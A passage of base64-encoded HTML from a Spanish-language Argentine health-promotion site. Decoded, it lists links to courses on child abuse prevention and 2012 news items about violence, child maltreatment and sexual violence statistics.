NlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPiZidWxsO0xhcyBtJmFhY3V0ZTtzIGxlaWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjb250ZW5pZG9ob21lIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY29udGVuaWRvaG9tZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+JmJ1bGw7TGFzIG0mYWFjdXRlO3MgY29tZW50YWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTHVkb3RlY2EgR2FyYWJhdG8gLSBQcm95ZWN0byBzYWx1ZGFjdGl2YSwgUG9yIHVuYSBpbmZhbmNpYSBmZWxpeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iOSUiIGJnY29sb3I9IiNFRkVGRUYiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzJSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xNjIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDUlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTE2MiIgY2xhc3M9ImJvdG9uIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDdXJzbyBJbnRlbnNpdm8gZGUgb3BlcmFkb3IgdGVyYXBldXRpY28gZXNwZWNpYWxpemFkbyBlbiBlbCBhYm9yZGFqZSBkZWwgYWJ1c28sIGxhIHZpb2xlbmNpYSB5IGVsIG1hbHRyYXRvIGluZmFudGlsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUFJPR1JBTUEgTEFTIFZJQ1RJTUFTIENPTlRSQSBMQVMgVklPTEVOQ0lBUyAgTWluaXN0ZXJpbyBkZSBKdXN0aWNpYSB5IERlcmVjaG9zIEh1bWFub3MgZGUgbGEgTmFjafNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI5JSIgYmdjb2xvcj0iI0VGRUZFRiI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjMlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTI1NSIgY2xhc3M9ImJvdG9uIj48aW1nIHNyYz0iaW1nL2ZsZWNoYW5hcmFuamFmZ3Jpc18yNC5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSI3IiBib3JkZXI9IjAiIGFsaWduPSJhYnNtaWRkbGUiIC8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0NSUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MjU1IiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERpcGxvbWF0dXJhIGVuIEFib3JkYWplIGludGVyZGlzY2lwbGluYXJpbyBkZWwgbWFsdHJhdG8sIGxhIHZpb2xlbmNpYSB5IGVsIGFidXNvIHNleHVhbCBpbmZhbnRpbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyJSIgaGVpZ2h0PSIyMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQxJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhbHVkIEFjdGl2YSBuZWNlc2l0YSBkZSB0dSBheXVkYSEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjklIiBiZ2NvbG9yPSIjRUZFRkVGIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMyUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MTA0IiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQ1JSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xMDQiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGxhbWFkbyBwYXJhIHByZXNlbnRhY2nzbiBkZSB0cmFiYWpvcy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJ0ZXh0b251ZXZvIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJvdG9uIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4mbmJzcDs8L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBJTklDSU8gbm90YSBjb211biAtLT4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXRlO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwgQ2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1n